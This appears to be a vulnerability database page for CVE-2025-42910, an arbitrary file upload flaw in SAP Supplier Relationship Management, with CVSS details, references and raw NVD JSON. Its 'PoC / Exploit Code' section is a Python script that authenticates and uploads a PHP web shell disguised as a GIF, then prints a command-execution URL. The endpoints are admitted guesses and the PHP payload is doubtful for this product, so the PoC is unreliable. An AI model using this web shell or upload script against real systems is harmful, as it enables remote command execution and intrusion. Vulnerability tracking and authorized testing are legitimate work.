CVE-2025-42910

Description

Due to missing verification of file type or content, SAP Supplier Relationship Management allows an authenticated attacker to upload arbitrary files. These files could include executables which might be downloaded and executed by the user which could host malware. On successful exploitation an attacker could cause high impact on confidentiality, integrity and availability of the application.

CVSS Details

CVSS Score

9.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SAP Supplier Relationship Management 所有未安装2025年10月安全补丁的版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-42910 - SAP SRM Arbitrary File Upload PoC
# Author: Security Researcher
# Description: Demonstrates the arbitrary file upload vulnerability in SAP SRM

import requests
import sys

TARGET_URL = "https://target-sap-srm.example.com"
UPLOAD_ENDPOINT = "/srm/uploadFile.do"  # Example endpoint, actual path may vary
USERNAME = "low_privilege_user"
PASSWORD = "password123"

# Malicious payload - a simple web shell disguised as a document
MALICIOUS_PAYLOAD = b"""GIF89a
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>"""

def exploit():
    session = requests.Session()

    # Step 1: Authenticate to SAP SRM with low-privilege credentials
    login_url = f"{TARGET_URL}/srm/login.do"
    login_data = {
        "username": USERNAME,
        "password": PASSWORD,
        "login": "Login"
    }

    print("[*] Authenticating to SAP SRM...")
    resp = session.post(login_url, data=login_data, verify=False)

    if resp.status_code != 200:
        print("[-] Authentication failed!")
        return

    print("[+] Authentication successful")

    # Step 2: Upload malicious file bypassing type validation
    upload_url = f"{TARGET_URL}{UPLOAD_ENDPOINT}"

    files = {
        "file": ("innocent_document.gif.php", MALICIOUS_PAYLOAD, "image/gif")
    }

    data = {
        "description": "Quarterly Report Q4 2025",
        "category": "documents"
    }

    print("[*] Uploading malicious file...")
    resp = session.post(upload_url, files=files, data=data, verify=False)

    if resp.status_code == 200 and "success" in resp.text.lower():
        print("[+] File uploaded successfully!")
        print(f"[+] File accessible at: {TARGET_URL}/srm/uploads/innocent_document.gif.php?cmd=id")
    else:
        print("[-] Upload failed")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-42910
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-42910
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-42910/
[4] VulDB https://vuldb.com/cve/CVE-2025-42910
[5] https://me.sap.com/notes/3647332
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-42910", "sourceIdentifier": "[email protected]", "published": "2025-10-14T01:15:32.880", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to missing verification of file type or content, SAP Supplier Relationship Management allows an authenticated attacker to upload arbitrary files. These files could include executables which might be downloaded and executed by the user which could host malware. On successful exploitation an attacker could cause high impact on confidentiality, integrity and availability of the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://me.sap.com/notes/3647332", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}